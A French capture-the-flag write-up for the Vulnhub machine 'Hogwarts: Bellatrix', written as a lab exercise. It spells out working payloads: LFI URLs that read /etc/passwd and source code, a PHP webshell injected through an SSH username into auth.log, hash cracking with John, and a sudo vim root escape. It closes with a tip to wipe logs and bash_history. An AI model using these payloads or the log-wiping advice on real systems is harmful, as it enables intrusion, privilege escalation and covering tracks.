Hogwarts: Bellatrix Vulnhub – Writeup
Une petite box assez sympa sur le thème de Harry Potter qui va nous faire manipuler les LFI (Local File Inclusion) pour prendre le contrôle du système.
Téléchargement : https://www.vulnhub.com/entry/hogwarts-bellatrix,609/
Niveau : intermédiaire
Cette box ne comporte aucun indice particulier sur les techniques et vulnérabilités à exploiter dans sa description et c’est très bien comme ça. Ça fait fonctionner les méninges !
Le seul conseil utile : « Brute force is not necessary, unless it is required ».
1- Découverte de la machine sur le réseau
La commande sudo nmap -sn 10.0.2.0/24
m’apprend que la machine cible porte l’adresse ip 10.0.2.6
Paramètres utilisés :
- -sn : simple scan icmp
- -n : désactive la résolution de nom de domaine
- sudo : ce n’est pas un paramètre certes, mais lancer la commande en administrateur permet d’afficher l’adresse MAC, ce qui peut aider à repérer plus facilement votre cible si plusieurs machines virtuelles tournent en même temps (l’adresse MAC est indiquée dans les paramètres de la carte réseau de la VM dans VirtualBox)
A noter qu’une autre commande intégrée au système permet d’afficher le même résultat sous forme de tableau : sudo netdiscover -P -i eth0 -r 10.0.2.0/16
Paramètres utilisés :
- -P : stop le programme après le scan
- -i : interface réseau à utiliser (on peut l’afficher en faisant :
ip a
) - -r : plage réseau à scanner sur l’interface (x/24, x/16, x/8)
2- Reconnaissance
Un scan de l’adresse ip de la machine révèle deux ports ouverts :
- port 22 : service ssh
- port 80 : un site web
nmap -sV -sC -A -Pn -p- -oN nmap.txt 10.0.2.6
Paramètres utilisés :
- –sV : détection de la version du service découvert
- –sC : joue les scripts par défaut (plus d’infos ici https://nmap.org/nsedoc/ et là https://nmap.org/book/nse-usage.html)
- –A : option « agressive ». Elle compile plusieurs options en une. L’explication se trouve tout en bas de
nmap -h
(elle regroupe entre autres -sV et -Sc, mais j’aime bien les écrire explicitement pour m’en souvenir) - –Pn : désactive le scan ICMP. Si le pare-feu de la cible ne répond pas aux pings, le scanner pourrait en déduire que que la machine distante est hors-ligne (inutile ici, surtout après la découverte du réseau par un scan ping, mais ça fait partie de mes habitudes)
- –p- : scanne l’ensemble des ports
- –oN nmap.txt : écrit le résultat dans un fichier texte au format « normal »
A l’ouverture du site, une seule page s’affiche, sans lien hypertexte apparent ni possibilité d’interaction apparente non plus.
En y regardant de plus près, on peut voir un indice sur la dernière ligne.
Je copie-colle ikilledsiriusblack.php
dans mon navigateur et je retombe sur la même page.
A ce stade, je peux en déduire que index.php
inclut ikilledsiriusblack.php
ou l’inverse.
Vu l’indigence des interactions à notre disposition, je commence à me dire qu’une LFI (local file inclusion) doit être la porte d’entrée, mais pour ça il nous faudrait un paramètre à exploiter.
C’est le moment de faire un tour dans le code source de la page pour voir si le développeur n’a pas laissé trainer quelque-chose. Bingo ! Du code source PHP a été commenté :
/*
$file = $_GET['file'];
if(isset($file))
{
include("$file");
}
*/
J’assume pour le moment que c’est le code de production et qu’il prend n’importe quoi sans filtrer (ce qui n’est pas très malin, mais me facilite la vie).
Je commence par tenter une inclusion du fichier /etc/passwd
sur index.php
, sans succès. Je fais deux autres tentatives avec des encodages différents. En vain.
Je retente alors sur le fichier ikilledsiriusblack.php
http://10.0.2.6/ikilledsiriusblack.php?file=/etc/passwd
C’est bien lui qui porte le paramètre et inclut index.php
. On peut voir son code source en utilisant un filtre php qui convertit le fichier en base64 :
http://10.0.2.6/ikilledsiriusblack.php?file=php://filter/convert.base64-encode/resource=ikilledsiriusblack.php
Un tour sur CyberChef révèle le code suivant :
<?php
$file = $_GET['file'];
if(isset($file))
{
include("$file");
}
else
{
include("index.php");
}
?>
3- Exploitation
C’est bien joli tout ça, mais moi je veux entrer sur la machine ! Et pour ça, il faut lancer des commandes. Et pour entrer des commandes, il faut interagir avec le système un peu plus que ça.
Or, on n’a nulle part où écrire puisque le site n’offre aucun formulaire.
Hum… en fait si. Lorsqu’on visite un site web, qu’on le veuille ou non, on écrit forcément quelque part. Dans les logs du serveur.
Dans la mesure où on peut inclure un fichier arbitraire dans notre page php et la faire afficher sur le site, on pourrait afficher le fichier de logs. Et si le fichier de logs contient du code php, il sera interprété. Hé hé… me dis-je.
Nmap avait identifié un Apache2 comme serveur web. J’essaye donc d’afficher le fichier de logs d’Apache.
http://10.0.2.6/ikilledsiriusblack.php?file=/var/log/apache2/access.log
Et là, c’est drame. Aucun retour. J’ai deux hypothèses : soit le serveur n’a pas l’accès en lecture sur ses propres logs (plutôt malin), soit le fichier a un autre nom.
J’ouvre donc le fichier /etc/apache2/sites-enabled/000-default.conf
Il me confirme que le fichier de logs s’appelle bien access.log
Peut-être que la variable ${APACHE_LOG_DIR}
a été redéfinie et que le chemin du fichier a été modifié. J’ouvre donc le fichier /etc/apache2/apache2.conf
. Ce dernier affiche une configuration standard.
Donc je n’ai pas accès au fichier de logs du serveur web.
Dans quel autre fichier de logs puis-je écrire ?
Nmap a trouvé deux services. Je vais donc tenter d’écrire dans le fichier de logs qui enregistre les connexions ssh.
J’ouvre donc le fichier /var/log/auth.log
en croisant les doigts et… ça marche ! Je vais donc pouvoir essayer d’écrire du code PHP dans ce fichier.
Si je me connecte en ssh avec un nom d’utilisateur fantaisiste, je devrais voir la ligne apparaître en rafraichissant la page de mon navigateur web. Je tente : ssh pouet@10.0.2.6
Et j’obtiens :
bellatrix sshd[13263]: Invalid user pouet from 10.0.2.4 port 58972
bellatrix sshd[13263]: pam_unix(sshd:auth): check pass; user unknown
bellatrix sshd[13263]: Failed password for invalid user pouet from 10.0.2.4 port 58972 ssh2
Pour injecter mon code, je me connecte de la manière suivante :
ssh '<?php system($_GET['c']); ?>'@10.0.2.6
Ce code attend un paramètre arbitrairement nommé ‘c’ et fait exécuter son contenu par le système. Je préfère cette méthode à l’injection directe d’un reverse shell pour deux raisons :
- Pour une seule injection de code très simple, je suis libre par la suite de lancer n’importe quelle commande (dont un reverse shell si je veux, ou le téléchargement d’une backdoor, etc.) ;
- Le code est très simple : cela évite les erreurs. Car cette étape est un peu touchy : si une erreur se glisse dans le code comme un mauvais type de guillemets, la page plantera irrémédiablement sur cette ligne quoi que je fasse par la suite.
Il me faudra alors beaucoup de temps pour inonder les logs et forcer la rotation des fichiers ou carrément réinitialiser la VM.
Je rafraîchis la page et voici ce que j’obtiens :
On ne le voit pas très bien, mais il y a un espace vide entre user et from. Ça correspond au code PHP qui est interprété par la page ikilledsiriusblack.php
Pour voir le code, il faut charger la page encodée : http://10.0.2.6/ikilledsiriusblack.php?file=php://filter/convert.base64-encode/resource=/var/log/auth.log
Après décodage dans CyberChef, on voit le code PHP dans les logs :
Grâce à ma nouvelle variable, je liste le répertoire courant :
http://10.0.2.6/ikilledsiriusblack.php?file=/var/log/auth.log&c=ls%20-la
Je découvre un répertoire dont le nom est encodé en base64 :
En visitant ce dossier, on trouve deux fichiers :
- Un fichier
.secret.dic
- Un fichier
Swordofgryffindor
qui contient le mot de passe de connexion de l’utilisateur lestrange
4- Connexion sur la machine
Je télécharge le fichier .secret.dic
et place la clé récupérée dans un fichier pour l’attaquer avec John.
echo 'lestrange:$6$1eIjsdebFF9/rsXH$NajEfDYUP7p/sqHdyOIFwNnltiRPwIU0L14a8zyQIdRUlAomDNrnRjTPN5Y/WirDnwMn698kIA5CV8NLdyGiY0' > hash.txt
john --wordlist=secret.dic hash.txt
Je me connecte avec le compte de lestrange.
Je fouine un peu et récupère le flag user dans le répertoire personnel de l’utilisateur bellatrix
5- Escalade de privilèges vers root
En faisant un sudo -l, je découvre une possibilité d’escalade de privilèges vers root :
C’est une bonne nouvelle car en affichant le fichier /etc/passwd
plus tôt, j’avais remarqué que le shell de lestrange était rbash. Et je m’attendais à passer beaucoup de temps à faire du rbash escape.
Une visite sur gtfobins indique que vim ne rend pas les droits super utilisateurs et qu’on peut ouvrir un shell.
Je passe donc root :
sudo vim -c ':!/bin/sh'
Voilà, je suis administrateur de la machine. Reste à récupérer le flag root :
Terminé ! Maintenant, il faudrait être propre et nettoyer les logs et les bash_history avant de partir 😉